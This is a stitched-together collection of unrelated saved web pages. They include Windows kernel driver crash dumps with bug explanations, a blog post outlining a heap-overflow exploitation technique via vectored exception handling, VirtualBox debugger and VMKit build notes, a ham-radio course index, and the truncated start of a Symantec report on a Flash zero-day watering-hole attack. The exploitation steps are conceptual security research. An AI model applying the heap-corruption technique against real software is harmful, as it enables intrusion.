fffff880`0316e000 fffff880`03168000 fffff880`0316d8a0 00000000`00000000 :
nt!KxStartSystemThread+0x16`  
---|---  
**Explanation**

The dxg.sys executable imports several functions from the primary Windows
graphical driver – win32k.sys. As the latter image resides in so called
_session memory_ which is only mapped in threads marked as GUI and the process
of resolving dxg.sys dependencies takes place in a non-GUI _System_ process, a
fatal exception is raised upon trying to access the base address of the
win32k.sys image.

# dxgkrnl.sys

?

| `TRAP_FRAME: fffff88002f665a0 -- (.trap 0xfffff88002f665a0)``NOTE: The trap
frame does not contain all registers.``Some register values may be zeroed or
incorrect.``rax=fffff88002f66768 rbx=0000000000000000
rcx=0000000000000008``rdx=fffffa8001263f01 rsi=0000000000000000
rdi=0000000000000000``rip=fffff800028f27ec rsp=fffff88002f66730
rbp=0000000000000001``r8=0000000000008155 r9=0000000000000003
r10=0000000000000000``r11=fffff880014d3120 r12=0000000000000000
r13=0000000000000000``r14=0000000000000000 r15=0000000000000000``iopl=0 nv up
ei ng nz na po nc``nt!KiCancelTimer+0x28:``fffff800`028f27ec f00fba2b07 lock
bts dword ptr [rbx],7 ds:00000000`00000000=????????``Resetting default
scope``LAST_CONTROL_TRANSFER: from fffff800029cfd92 to
fffff800028e0490``STACK_TEXT: ``fffff880`02f65ce8 fffff800`029cfd92 :
00000000`00000008 fffffa80`00cd4b60 00000000`00000065 fffff800`02924178 :
nt!RtlpBreakWithStatusInstruction``fffff880`02f65cf0 fffff800`029d0b7e :
00000000`00000003 00000000`00000000 fffff800`029249d0 00000000`0000000a :
nt!KiBugCheckDebugBreak+0x12``fffff880`02f65d50 fffff800`028e8744 :
00000000`00000000 fffff880`00961000 00000000`00000000 fffff800`02892790 :
nt!KeBugCheck2+0x71e``fffff880`02f66420 fffff800`028e7be9 : 00000000`0000000a
00000000`00000008 00000000`00000002 00000000`00000001 :
nt!KeBugCheckEx+0x104``fffff880`02f66460 fffff800`028e6860 : fffff6fb`7e200138
fffff880`02f66840 00000000`00000000 00000000`00000008 :
nt!KiBugCheckDispatch+0x69``fffff880`02f665a0 fffff800`028f27ec :
00000000`0000001c fffffa80`0223e0d0 ffffffff`80000824 00000000`00000001 :
nt!KiPageFault+0x260``fffff880`02f66730 fffff800`028c355e : 00000000`00000000
00000000`00000000 fffff880`04e7ed00 00000000`00000003 :
nt!KiCancelTimer+0x28``fffff880`02f66770 fffff880`04ed8542 : 00000000`00000010
00000000`00000000 00000000`00000000 fffff880`04e7ed00 :
nt!KeCancelTimer+0x1a``fffff880`02f667a0 fffff880`04f552f0 : fffffa80`fffffcf7
ffffffff`c0000035 00000000`00000000 fffff880`04e7ed00 :
dxgkrnl_fffff88004e67000!DxgkSqmShutdown+0x52``fffff880`02f667e0
fffff800`02ccd467 : fffffa80`00d29e70 00000000`00000000 00000000`ffffff57
fffffa80`02414000 :
dxgkrnl_fffff88004e67000!DriverEntry+0x2e8``fffff880`02f66860
fffff800`02ccd865 : fffffa80`010358a0 00000000`00000000 00000000`00000001
00000000`00000001 : nt!IopLoadDriver+0xa07``fffff880`02f66b30
fffff800`028f2a21 : fffff800`00000000 ffffffff`80000824 fffff800`02ccd810
fffffa80`00cd4b60 : nt!IopLoadUnloadDriver+0x55``fffff880`02f66b70
fffff800`02b85cce : 44224346`23464623 fffffa80`00cd4b60 00000000`00000080
fffffa80`00cba040 : nt!ExpWorkerThread+0x111``fffff880`02f66c00
fffff800`028d9fe6 : fffff800`02a5ae80 fffffa80`00cd4b60 fffffa80`00cd4040
0f140a0f`150b1117 : nt!PspSystemThreadStartup+0x5a``fffff880`02f66c40
00000000`00000000 : fffff880`02f67000 fffff880`02f61000 fffff880`02f660a0
00000000`00000000 : nt!KxStartSystemThread+0x16`  
---|---  
**Explanation**

Although a NULL Pointer Dereference, this case is particularly funny. The
affected part of _DriverEntry_ works in the following way:

?

| `if` `(failed(WdmlibIoCreateDeviceSecure(...)))
{``DxgkSqmShutdown();``}``[...]``DxgkSqmInit();`  
---|---  
Both routines operate on a shared structure pointed to by a global
dxgkrnl\!_pDxgkSqmControl_ pointer. The pointer is initialized for the first
time in the _DxgkSqmInit_ function, therefore it is still equal to NULL at the
time of calling _DxgkSqmShutdown_. The deinitialization proc doesn’t expect
_pDxgkSqmControl_ to be zero and simply starts destroying and cleaning up
particular fields within the structure, which results in an unhandled
exception at the first attempt of using the pointer in a memory operation.

# ndis.sys

?

| `TRAP_FRAME: fffff88003174280 -- (.trap 0xfffff88003174280)``NOTE: The trap
frame does not contain all registers.``Some register values may be zeroed or
incorrect.``rax=0000000000000000 rbx=0000000000000000
rcx=fffff88004d27a80``rdx=0000000000000000 rsi=0000000000000000
rdi=0000000000000000``rip=fffff88004ccdbbd rsp=fffff88003174410
rbp=fffff88003174500``r8=0000000000000000 r9=0000000000000000
r10=fffff80002a0f820``r11=fffffa8002565af0 r12=0000000000000000
r13=0000000000000000``r14=0000000000000000 r15=0000000000000000``iopl=0 nv up
ei pl nz ac po
cy``ndis_fffff88004cc1000!ndisFindFreeRefCountPool+0x1d:``fffff880`04ccdbbd
837818ff cmp dword ptr [rax+18h],0FFFFFFFFh ds:0080:0018=????????``Resetting
default scope``LAST_CONTROL_TRANSFER: from fffff80002983d92 to
fffff80002894490``STACK_TEXT: ``fffff880`031739c8 fffff800`02983d92 :
00000000`00000018 fffffa80`00cd4040 00000000`00000065 fffff800`028d8178 :
nt!RtlpBreakWithStatusInstruction``fffff880`031739d0 fffff800`02984b7e :
00000000`00000003 00000000`00000000 fffff800`028d89d0 00000000`000000d1 :
nt!KiBugCheckDebugBreak+0x12``fffff880`03173a30 fffff800`0289c744 :
00000000`00000000 00000000`00000000 00000000`00000000 fffff800`02846790 :
nt!KeBugCheck2+0x71e``fffff880`03174100 fffff800`0289bbe9 : 00000000`0000000a
00000000`00000018 00000000`00000002 00000000`00000000 :
nt!KeBugCheckEx+0x104``fffff880`03174140 fffff800`0289a860 : 00000000`00000000
00000000`00000000 00000000`00000000 fffff880`04d27a88 :
nt!KiBugCheckDispatch+0x69``fffff880`03174280 fffff880`04ccdbbd :
00000000`00000000 2020444e`000000b0 00000000`00000000 fffffa80`01be48d0 :
nt!KiPageFault+0x260``fffff880`03174410 fffff880`04ccdae3 : fffff880`04d259a0
00000000`00000000 00000000`00000028 fffffa80`01be48d0 :
ndis_fffff88004cc1000!ndisFindFreeRefCountPool+0x1d``fffff880`03174440
fffff880`04ccda9b : 00000000`00000010 00000000`00000000 00000000`00000000
00000000`000007ff :
ndis_fffff88004cc1000!ndisAllocateRWLRefCounts+0x23``fffff880`03174480
fffff880`04d9bc49 : 00000000`00000000 00000000`00000001 fffff880`00000000
00000000`000007ff :
ndis_fffff88004cc1000!NdisAllocateRWLock+0x5b``fffff880`031744b0
fffff880`04d9cd10 : fffffa80`0118d5b0 00000000`646e444e 00000000`00000020
00000000`00000001 :
ndis_fffff88004cc1000!ndisInitializePeriodicReceives+0x1c9``fffff880`03174560
fffff800`02c81467 : fffffa80`0118d5b0 fffffa80`0118d5b0 fffffa80`0118d5b0
00000000`000007ff : ndis_fffff88004cc1000!DriverEntry+0x610``fffff880`03174860
fffff800`02c81865 : fffffa80`013142a0 00000000`00000000 00000000`00000001
00000000`00000001 : nt!IopLoadDriver+0xa07``fffff880`03174b30
fffff800`028a6a21 : fffff800`00000000 ffffffff`80000804 fffff800`02c81810
fffffa80`00cd4040 : nt!IopLoadUnloadDriver+0x55``fffff880`03174b70
fffff800`02b39cce : 00000000`00000000 fffffa80`00cd4040 00000000`00000080
fffffa80`00cb9040 : nt!ExpWorkerThread+0x111``fffff880`03174c00
fffff800`0288dfe6 : fffff800`02a0ee80 fffffa80`00cd4040 fffffa80`00cd3680
00000000`00000000 : nt!PspSystemThreadStartup+0x5a``fffff880`03174c40
00000000`00000000 : fffff880`03175000 fffff880`0316f000 fffff880`03173280
00000000`00000000 : nt!KxStartSystemThread+0x16`  
---|---  
**Explanation**

The root cause of this NULL pointer dereference system crash is not clear; the
case requires further investigation.

# wimmount.sys

?

| `CONTEXT: fffff88003181d90 -- (.cxr
0xfffff88003181d90)``rax=0000000000000001 rbx=0000000000000000
rcx=fffff880035b9150``rdx=0000000000000000 rsi=fffff880035b9140
rdi=0000000000000000``rip=fffff880035b7623 rsp=fffff88003182770
rbp=0000000000000000``r8=0000000000005e60 r9=0000000000000030
r10=0000000000000000``r11=fffff88003182750 r12=0000000000000001
r13=ffffffff800007e0``r14=fffffa80016690e0 r15=000000000000001c``iopl=0 nv up
ei pl nz na po cy``cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b
efl=00010207``wimmount!WMCommListDestroy+0x1f:``fffff880`035b7623 488b0b mov
rcx,qword ptr [rbx] ds:002b:00000000`00000000=????????????????``Resetting
default scope``[...]``STACK_TEXT: ``fffff880`03182770 fffff880`035bb0cc :
00000000`c0000034 00000000`00010246 fffff880`031827c8 00000000`00000018 :
wimmount!WMCommListDestroy+0x1f``fffff880`031827a0 fffff880`035bc179 :
fffffa80`01217470 fffffa80`026b8000 fffff880`035b9128 fffff800`02871adf :
wimmount!Unload+0x48``fffff880`031827d0 fffff800`02c72467 : fffffa80`01217470
fffffa80`01217470 00000000`00000000 00000000`000007ff :
wimmount!DriverEntry+0x171``fffff880`03182860 fffff800`02c72865 :
fffffa80`010ff278 00000000`00000000 00000000`00000001 00000000`00000001 :
nt!IopLoadDriver+0xa07``fffff880`03182b30 fffff800`02897a21 :
fffff880`00000000 ffffffff`800007e0 fffff800`02c72810 fffffa80`00cd2680 :
nt!IopLoadUnloadDriver+0x55``fffff880`03182b70 fffff800`02b2acce :
01000501`00050100 fffffa80`00cd2680 00000000`00000080 fffffa80`00cb7040 :
nt!ExpWorkerThread+0x111``fffff880`03182c00 fffff800`0287efe6 :
fffff800`029ffe80 fffffa80`00cd2680 fffffa80`00cd2b60 00000000`00000000 :
nt!PspSystemThreadStartup+0x5a``fffff880`03182c40 00000000`00000000 :
fffff880`03183000 fffff880`0317d000 fffff880`03180da0 00000000`00000000 :
nt!KxStartSystemThread+0x16`  
---|---  
**Explanation**

Yet another failed attempt to recover from an error in _DriverEntry_. In case
one of the external functions called there \(e.g. _FltRegisterFilter_ or
_FltCreateCommunicationPort_\) fails, the _Unload_ routine is called.
Unfortunately, it doesn’t care to verify which portions of the internal driver
state have been successfully initialized before, and just destroys everything
it knows of, eventually leading to usage of an unitialized NULL pointer.

# rdyboost.sys \(Windows 8 64-bit only\)

?

| `TRAP_FRAME: fffff8800c956a70 -- (.trap 0xfffff8800c956a70)``NOTE: The trap
frame does not contain all registers.``Some register values may be zeroed or
incorrect.``rax=0000000000000003 rbx=0000000000000000
rcx=fffff8800d7dd8a0``rdx=fffff8800d7dd8a0 rsi=0000000000000000
rdi=0000000000000000``rip=fffff8800d7e1650 rsp=fffff8800c956c08
rbp=0000000000000080``r8=fffffa800ccb4440 r9=0000000000000000
r10=0000000000000009``r11=fffffa800dbfbd58 r12=0000000000000000
r13=0000000000000000``r14=0000000000000000 r15=0000000000000000``iopl=0 nv up
ei pl zr na po nc``+0x2a650:``fffff880`0d7e1650 ?? ???``Resetting default
scope``[...]``STACK_TEXT: ``fffff880`0c9560c8 fffff803`a05f8c3a :
00000000`00000000 00000000`00000050 fffff880`0c956230 fffff803`a0548a68 :
nt!DbgBreakPointWithStatus``fffff880`0c9560d0 fffff803`a05f828e :
00000000`00000003 fffff880`0c956230 fffff803`a05462e0 fffff880`0c956780 :
nt!KiBugCheckDebugBreak+0x12``fffff880`0c956130 fffff803`a04d1444 :
fffffa80`0dbfbc00 fffffa80`100a0b00 ffff61f1`669054af fffff880`0c956b00 :
nt!KeBugCheck2+0x79f``fffff880`0c956850 fffff803`a066edc2 : 00000000`00000050
fffff880`0d7e1650 00000000`00000008 fffff880`0c956a70 :
nt!KeBugCheckEx+0x104``fffff880`0c956890 fffff803`a04fd31c : 00000000`00000008
fffff880`0d7e1650 fffffa80`10095b00 fffff880`0d7e1650 : nt! ??
::FNODOBFM::`string'+0x32068``fffff880`0c956930 fffff803`a04cedee :
00000000`00000008 fffffa80`10095b00 fffff880`0c956b00 fffff880`0c956a70 :
nt!MmAccessFault+0x59c``fffff880`0c956a70 fffff880`0d7e1650 :
fffff803`a04b3ec9 fffff803`a0778180 fffff803`a04f6f15 00000000`00000000 :
nt!KiPageFault+0x16e``fffff880`0c956c08 fffff803`a04b3ec9 : fffff803`a0778180
fffff803`a04f6f15 00000000`00000000 00000000`976e7c63 :
+0x2a650``fffff880`0c956c10 fffff803`a04b6386 : fffff803`a0778180
fffffa80`10095b00 fffffa80`101d16c0 fffffa80`0ccb4440 :
nt!PspSystemThreadStartup+0x59``fffff880`0c956c60 00000000`00000000 :
fffff880`0c957000 fffff880`0c951000 00000000`00000000 00000000`00000000 :
nt!KxStartSystemThread+0x16`  
---|---  
**Explanation**

At startup, rdyboost.sys creates a new kernel thread in the system starting at
the _SmdRBMemoryWatchdogThread_ routine. The driver fails to properly
terminate the thread during the _DriverUnload_ clean-up procedure,
consequently leaving an actively running thread within a memory area that has
been unmapped by the kernel in the final stage of unloading the driver. As
soon as the scheduler gets back to the dangling thread, an exception is raised
due to an attempt to execute unmapped memory, as shown in the above listing.

# FreedomCoder's esearchy at master - GitHub

**Created:**| _7/31/2009 7:38:27 PM_  
---|---  
**Updated:**| _7/31/2009 7:38:40 PM_  
**Author:**| __  
**Tags:**| _Footprinting security tools socialising_  
  

FreedomCoder / **esearchy** <img src='img/Temp2_3290.png' alt='fork' /> <img
src='img/Temp2_3291.png' alt='watch' /> <img src='img/Temp2_3293.png'
alt='download tarball' />

<img src='img/Temp2_3295.png' alt='public' />

<img src='img/Temp2_3294.png' alt='Rubygem' />

<img src='img/Temp2_3296.png' alt='Forks' />| 1| <img src='img/Temp2_3289.png'
alt='Right' />  
---|---|---  
<img src='img/Temp2_3292.png' alt='Watchers' />| 1| <img
src='img/Temp2_3289.png' alt='Right' />  
---|---|---  
Description: | Email search app that searchs many places for email accounts.  
---|---  
Homepage: | http://www.freedomcoder.com.ar/esearchy  
Clone URL: | git://github.com/FreedomCoder/esearchy.git

# exploiting windows vectored exception handling

**Created:**| _3/9/2011 11:39:07 AM_  
---|---  
**Updated:**| _3/9/2011 11:39:15 AM_  
**Author:**| __  
**Tags:**| _Exploit awesome_  
  
  
  
  
---  
<img src='img/Temp2_10189.jpg' />  
|  
Hey punks, welcome to 2011. I've spent the first couple of months this year
perfecting my Ac1db1tch3z catwalk pose \(they call it "white hat steel"\). But
now that I've got that out of the way, I figured its time to do some more
research.  
  
I thought I'd start by sharing a minor Windows 7 exploitation technique for
linear heap overflows\*. Don't get excited, as it's only useful 1\) on a small
subset of applications and 2\) when standard heap manipulation techniques
aren't working. In all honesty there are probably about a half-dozen people in
the world who will find this technique interesting.  
  
So anyway, I found this method while reverse engineering the 32-bit structured
exception handling routines in NTDLL. This would seem like a strange place to
come across a heap technique, since SEH is traditionally the stack-based
overlow exploit vector. To get an idea of where this going, it might help to
have a look at the reversed SEH implementation on XP:  
  
seh\_xp.txt  
  
Perhaps not commonly known, applications can choose to override standard SEH
by using a mechanism called Vectored Exception Handling. An application can
use the AddVectoredExceptionHandle orAddVectoredContinueHandle API calls to
insert either a first chance or last chance exception handling routine
distinct from the normal SEH chain. The curiosity is that each VEH entry is
backed by a small structure which is allocated on the default process heap.  
  
Unfortunately the VEH function pointer is protected by RtlEncodePointer \(even
in XP SP3\), so we can't directly manipulate that. However, the fun starts in
Windows Vista and later when the VEH dispatch method ended up looking
something like this:  
  
veh\_7.txt  
  
In what appears to be an attempt to clean up a race condition with
RemoveVectoredExceptionHandler, Microsoft has added code to handle removing a
VEH structure when it is no longer referenced \(when Depth is 0\). How do they
destroy a VEH entry? With a classic example of a double-linked list unlink
condition, and then a subsequent HeapFree of a potentially corrupted VEH
structure.  
  
Our exploitation technique defines itself:

  1. Position a heap overflow \(in the default process heap\) next to a VEH entry.
  2. Overflow the Prev and Next fields of the VEH entry with an arbitrary value.
  3. Use the NULL-terminating overflow byte to clear the Depth field.
  4. Trigger an exception and use the VEH unlink to get an arbitrary write primitive.
  5. Hope \(or arrange\) that the VEH handler returns EXCEPTION\_CONTINUE\_EXECUTION \(or that there is another exception handler you can abuse with the 4-write\!\) :\]

As you can see, it certainly isn't universally trivial like the heap-fu of old
- but it is  _interesting_ , and that's enough for me.  
  
\- hawkes@sota.gen.nz \(@benhawkes\) rss  
  
\* It has to be said that memcpy-style heap corruption is rapidly going out of
fashion in favour of the more fuzzer-friendly client-side object-use-after-
free/uninitialized-variable style vulns. Who needs aa4bmo when you have a
referenced vtable sitting in unallocated memory, right?  

# VirtualBox – Lowlevel

**Created:**| _8/29/2013 2:13:30 PM_  
---|---  
**Updated:**| _8/29/2013 2:13:30 PM_  
**Author:**| __  
**Tags:**| _Debugging virtusalisation_  
  

# **V** irtualBox****

**VirtualBox** ist ein x86-Emulator für x86-Systeme**.** Ursprünglich
entwickelt von innotek, kaufte Sun das Programm auf, stellte zugleich aber
eine der beiden Versionen als OpenSource-Software frei zur Verfügung**.**
Diese Duale Lizenzierung wurde auch nach der Übernahme durch Oracle
weitergeführt, zur Veröffenlichung von Version 4**.** 0 jedoch umgestelt: Es
existiert nun nur noch die Open-Source-Version, die propietären Erweiterungen
werden als Extension Pack angeboten**.** Das Besondere an VirtualBox ist
sicherlich die ausgereifte grafische Benutzerschnittstelle, die die Bedienung
weitaus einfacher macht**.**

##  Besondere Features****

  * iSCSI für Blockgeräte 
  * Fernsteuerung der VM via RDP, inklusive Support für USB über RDP 
  * Gastunterstützung, um unter offiziell unterstützen Betriebssystemen Geschwindigkeitsvorteile und weitere Features anbieten zu können**.**
  * OpenGL-Unterstützung \(derzeit nur für die 32-Bit-Versionen von Windows XP und Windows Vista sowie Linux und Solaris\) 
  * Experimenteller Support für  EFI \(Extensible Firmware Interface\) 
  * Debugger 

Befehlssatzerweiterungen für Gäste:

  * PAE/NX \(falls vom Host unterstützt\) 

##  Emulierte Hardware****

  * ACPI, inklusive ACPI Power Status \(mit Anbindung an Host\) 
  * I/O APIC 
  * VGA- und VBE-kompatible Grafikkarte 
  * Floppy 
  * IDE Controller: 
    * PIIX3 
    * PIIX4 
  * SATA AHCI Controller Intel ICH8M/ICH8M-E 
  * AC'97  Audio \(Intel\) 
  * Netzwerkkarten : 
    * PCnet FAST III 
    * PCnet-PCI II 
    * Intel PRO/1000 MT Desktop 
    * Intel PRO/1000 T Server 
  * USB -Controller: 
    * EHCI  \(USB 2**.** 0, nur per Extension Pack\) 
    * OHCI 
  * Serielle Schnittstellen \(max**.** 2\) 

##  Debugger****

Seit einiger Zeit bietet VirtualBox einen integrierten Debugger, der
Informationen zum Zustand der VM, der emulierten CPU und der emulierten Geräte
ausgeben kann**.** Weiterhin werden Breakpoints unterstützt sowie die
schrittweise Ausführung des Codes ermöglicht**.** Im Folgenden soll kurz
dargestellt werden, wie diese \(versteckte\) Funktion aktiviert wird, was sie
bringt und wie man sie nutzt**.**

###  Den Debugger aktivieren und starten****

Oracle hat den Debugger - mit der Begründung, er sei nur für "advanced users"
geeignet - gut versteckt, denn standardmäßig ist er nicht aktiviert und seine
Existenz ist über die GUI auch nicht zu erkennen**.** Es gibt 3 Wege, diesen
zu aktivieren:

  * In der Konfigurationsdatei von VirtualBox \(Unter Windows zu finden unter C:/Benutzer/<Benutzer>/.VirtualBox/VirtualBox.xml \(Windows 7\) bzw**.** C:/Dokumente und Einstellungen/<Benutzer>/.VirtualBox \(Windows XP\)\) zum Knoten "VirtualBox/Global/ExtraData" dies hinzufügen: 
[code]    <ExtraDataItem name="GUI/Dbg/Enabled" value="true"/>

[/code]

VBox muss neu gestartet werden, damit die Änderung übernommen wird**.**

  * Die Umgebungsvariable VBOX\_GUI\_DBG\_ENABLED oder VBOX\_GUI\_DBG\_AUTO\_SHOW auf true setzen, bevor VBox gestartet wird 
  * VirtualBox mit den Kommandozeilenparametern --dbg, --debug, oder --debug-command-line starten 

Anschließend kann der Debugger aus der laufenden VM gestartet werden**.** In
der laufenden Maschine sollte der Menüpunkt "Debug" hinzugekommen sein**.**
Wenn man dessen Unterpunkt "Kommandozeile" wählt, erhält man dann eine
Konsole, über die die weitere Steuerung erfolgt**.**

###  Benutzung****

####  Informationen beschaffen****

Die wichtigsten Befehle, um Infos über das System zu erhalten:

Befehl |  Wirkung   
---|---  
r |  Gibt den Inhalt der Register der CPU aus   
u |  Disassembliert den Code, der als nächstes ausgeführt wird   
k |  Gibt einen Stacktrace aus   
dg |  GDT   
di |  IDT   
dl |  LDT   
dt |  TSS   
da/db/dw/dd/dq |  Gibt den Speicher an der angegebenen Addresse aus, als ASCII-Text, in Bytes/Words/Doublewords/Quadwords   
info <arg> |  Gibt Infos zum angegebenen Gerät aus**.** Übersicht über diese Geräte: info help. Beispiele: pcnet0, pit, pic, ohci, ehci, vbe, ioport, ..**.**  
Folgende Informationen fehlen dem Artikel an dieser Stelle:

  * Ergänzungen zum Debugger, d.h. zum Setzen von Breakpoints und zur schrittweisen Code-Ausführung 

Hilf Lowlevel, den Artikel zu verbessern**.**  
---  
##  Links****

****

# Issue 61 - idapython - 'module' object has no attribute 'ua\_ana0' - Project
Hosting on Google Code

**Created:**| _2/5/2011 12:22:12 PM_  
---|---  
**Updated:**| _2/6/2011 11:34:26 AM_  
**Author:**| __  
**Tags:**| _bookmark python iDA plugin programming_  
  
Comment 4 by project member elias.ba...@gmail.com, Feb 01 \(3 days ago\)

[code]

    Instruction decoding is different.
    
    Now one can use idautils.DecodeInstruction() and get an insn_t and be able to access instruction info and its operands in one go.
    
    In all cases, I attached a fixed version I did last year.
    
[/code]

[code]

      
    
    
[/code]

# VMKit - Getting Started

**Created:**| _8/16/2009 10:06:35 AM_  
---|---  
**Updated:**| _8/16/2009 10:07:10 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification programming_  
  

# Getting Started: Building and Running VMKit

This page gives you the shortest path to checking out vmkit and demos a few
options. This should get you up and running with the minimum of muss and fuss.
If you like what you see, please consider getting involved with the vmkit
community.

## A word of warning

While this work aims to provide a fully functional JVM and CLI runtime, it is
_still early work_ and is under heavy development. Some of the more notable
missing pieces in the JVM are:

  1. Support for JVM object finalization semantics.

Some of the more notable missing pieces in the CLI runtime are:

  1. Support for arithmetic overflow.
  2. Support for CLI object finalization semantics.
  3. Thread support.

Some of the common missing pieces in vmkit/llvm are:

  1. A generational Garbage collector.
  2. Hotspot-like virtual machine \(e.g mixed interpretation/compilation\).

## Building vmkit / working with the code

If you would like to check out and build the project, the current scheme is
\(if you only want the JVM, you can skip the Pnet part. If you only want the
CLI VM, you can skip the GNU Classpath part\):

  1. Checkout and build LLVM from SVN head:
  2.      * `svn co http://llvm.org/svn/llvm-project/llvm/trunk llvm`
     * `cd llvm`
     * `./configure; make`
  3. Download GNU Classpath 0.97.2:
  4.      * `tar zxvf classpath-0.97.2.tar.gz`
     * `cd classpath-0.97.2`
     * `./configure --disable-plugin --disable-examples; make`
     * `cd lib`
     * `ln -s ../native/jni/gtk-peer/.libs/libgtkpeer.so;`
     * `ln -s ../native/jni/gconf-peer/.libs/libgconfpeer.so;`
     * `ln -s ../native/jni/java-io/.libs/libjavaio.so;`
     * `ln -s ../native/jni/java-lang/.libs/libjavalangreflect.so;`
     * `ln -s ../native/jni/java-lang/.libs/libjavalang.so;`
     * `ln -s ../native/jni/java-net/.libs/libjavanet.so;`
     * `ln -s ../native/jni/java-nio/.libs/libjavanio.so;`
     * `ln -s ../native/jni/java-util/.libs/libjavautil.so;`
  5. Download PNet 0.8.0:
  6.      * `tar zxvf pnet-0.8.0.tar.gz`
     * `cd pnet-0.8.0`
     * `./configure; make`
  7. Download PNetlib 0.8.0:
  8.      * `tar zxvf pnetlib-0.8.0.tar.gz`
     * `cd pnetlib-0.8.0`
     * `./configure; make`
  9. Checkout vmkit:
  10.      * `svn co http://llvm.org/svn/llvm-project/vmkit/trunk vmkit`
  11. Configure vmkit:
  12.      * `./configure`
     * `--with-llvmsrc=<directory>`
    Tell vmkit where the LLVM source tree is located. 
  
`--with-llvmobj=<directory>`

    Tell vmkit where the LLVM object tree is located. 
  
`--with-gnu-classpath-glibj=<file or directory>`

    Tell vmkit where GNU Classpath glibj.zip is located. 
  
`--with-gnu-classpath-libs=<directory>`

    Tell vmkit where GNU Classpath libs are located. 
  
`--with-pnet-local-prefix=<directory>`

    Tell vmkit where PNet is located. 
  
`--with-pnetlib=<directory>`

    Tell vmkit where pnetlib's mscorlib.dll is located. 
  13. Build vmkit:
  14.      * `cd vmkit`
     * `make` \(this will give you a debug build\)
  15. Try it out: \(assuming vmkit/Debug/bin is in your path\)
  16.      * `jnjvm --help`
     * `jnjvm HelloWorld`
     * `n3-pnetlib --help`
     * `n3-pnetlib HelloWorld.exe`

# Online-Lehrgang Startseite

**Created:**| _6/28/2012 8:22:39 AM_  
---|---  
**Updated:**| _6/28/2012 8:22:39 AM_  
**Author:**| __  
**Tags:**| _ham-radio_  
  

# Der Online-Lehrgang von DJ4UF

Bearbeiten Sie den Lehrgang in der Reihenfolge des vorgeschlagenen Lernplans.

## Lehrgang Technik Klasse E

  * Zum Lehrplan Klasse E
  * **Lektion 1:** Mathematische Grundlagen und Einheiten
  * **Lektion 2:** Spannung, Strom, Wechselspannung
  * **Lektion 3:** Ohmsches Gesetz, Leistung, Arbeit
  * **Lektion 4:** Widerstand und seine Grundschaltungen
  * **Lektion 5:** Kondensator
  * **Lektion 6:** Spule, Transformator
  * **Lektion 7:** Schwingkreis, Filter
  * **Lektion 8:** Elektromagnetisches Feld
  * **Lektion 9:** Wellenausbreitung
  * **Lektion 10:** Dezibel, Dämpfung, Kabel
  * **Lektion 11:** Antennentechnik
  * **Lektion 12:** Halbleiter, Diode
  * **Lektion 13:** Transistor, Verstärker
  * **Lektion 14:** Modulation, Demodulation
  * **Lektion 15:** Sender- und Empfängertechnik
  * **Lektion 16:** Betriebsarten
  * **Lektion 17:** Messtechnik
  * **Lektion 18:** EMV und Sicherheit
  * **Der Funkverkehr** auf Kurzwelle und Ultrakurzwelle
  * _Alle_ Prüfungsaufgaben, Formelsammlung und Diagramm für Kabeldämpfung finden Sie nur im Buch. Sie ersparen sich den Fragenkatalog
  * Stichwortverzeichnis \(nur im Buch\). 
Zum Lernplan.

  
  

## Lehrgang Betriebstechnik / Vorschriften  

  * Zum Lehrplan Klasse E
  * **Lektion 1:** Internationales Buchstabieralphabet
  * **Lektion 2:** Der Q-Schlüssel
  * **Lektion 3:** Betriebliche Abkürzungen
  * **Lektion 4:** Rufzeichen und Landeskenner 
  * **Lektion 5:** IARU-Bandpläne
  * **Lektion 6:** Betriebsabwicklung auf Kurzwelle
  * **Lektion 7:** Betriebsabwicklung auf VHF/UHF
  * **Lektion 8:** Digitale Betriebsarten
  * **Lektion 9:** RST-System, Logbuch, QSL-Karte
  * **Lektion 10:** Radio Regulations der ITU
  * **Lektion 11:** CEPT Empfehlung T/R 61
  * **Lektion 12:** Das Amateurfunkgesetz
  * **Lektion 13:** Amateurfunkverordnung \(AFuV\)
  * **Lektion 14:** TKG, FTEG, Sicherheitsvorschriften
  * **Lektion 15:** EMV-Gesetz und EMVU
  * **Lektion 16:** Amateurfunk damals und heute
  * **Anhang** : Amateurfunk-Geschichten
Zum Lernplan.

  
  

## Lehrgang Technik Klasse A

Ohne Lernplan\!  

  * **Lektion 1** : Mathematische Grundkenntnisse
  * **Lektion 2** : Der Widerstand und seine Grundschaltungen
  * **Lektion 3** : Kondensator und Spule
  * **Lektion 4** : Schwingkreis und Filter
  * **Lektion 5** : Die Diode und ihre Anwendungen
  * **Lektion 6** : Transistoren und Verstärker
  * **Lektion 7:** Oszillator und Hochfrequenzverstärker 
  * **Lektion 8:** Das elektromagnetische Feld
  * **Lektion 9:** Antennentechnik 
  * **Lektion 10:** HF-Leitungen, Kabel
  * **Lektion 11:** Signale
  * **Lektion 12:** Modulation und Demodulation
  * **Lektion 13:** Frequenzaufbereitung
  * **Lektion 14:** Digitaltechnik
  * **Lektion 15:** Übertragungstechnik
  * **Lektion 16:** Messtechnik
  * **Lektion 17:** Schaltungstechnik
  * **Lektion 18:** Gerätetechnik
  * **Lektion 19:** EMV und Sicherheit
  * **Tipps** zur Prüfungsvorbereitung

# New Flash Zero-Day Linked to Yet More Watering Hole Attacks | Symantec Connect Community
**Created:**| _2/24/2014 12:14:01 AM_  
---|---  
**Updated:**| _2/24/2014 12:14:01 AM_  
**Author:**| __  
**Tags:**| _Flash Exploit_  
  

# **N** ew Flash Zero-Day Linked to Yet More Watering Hole Attacks****

Created: 21 Feb 2014 23:01:00 GMT • Updated: 22 Feb 2014 02:56:18 GMT

Watering hole attacks using zero-day vulnerabilities are becoming more
common**.** Last week we announced an Internet Explorer 10 zero-day  being
used in a watering hole attack and today, just one week later we have an Adobe
Flash zero-day, Adobe Flash Player and AIR CVE-2014-0502 Remote Code Execution
Vulnerability  \(CVE-2014-0502\), also being used in a watering hole
attack**.** This new attack has been dubbed “Operation GreedyWonk” in various
media and is reported to be targeting the websites of three non-profit
institutions**.** Symantec telemetry shows even more sites being targeted in
this watering hole attack using this new zero-day**.**

<img src='img/Temp2_5581.png' alt='adobe-zero-day.png' />

**_Figure 1**.**_**_Watering hole attack using Adobe Flash 0-day_

**Anatomy of the attack**

This attack technique is known as a watering hole attack**.** In this case the
target visits a compromised website that contains an IFrame inserted by the
attackers in order to redirect the target to another website
\(giftserv.hopto.org\)**.** This new site loads a malicious index.php file
\(Trojan.Malscript \) which checks whether the victim is running a 32-bit or
64-bit system**.** Depending on the results, a malicious index.html file
\(also Trojan.Malscript\) and additional components are also downloaded from
either the 32-bit or 64-bit folders hosted on the attacker’s server**.** The
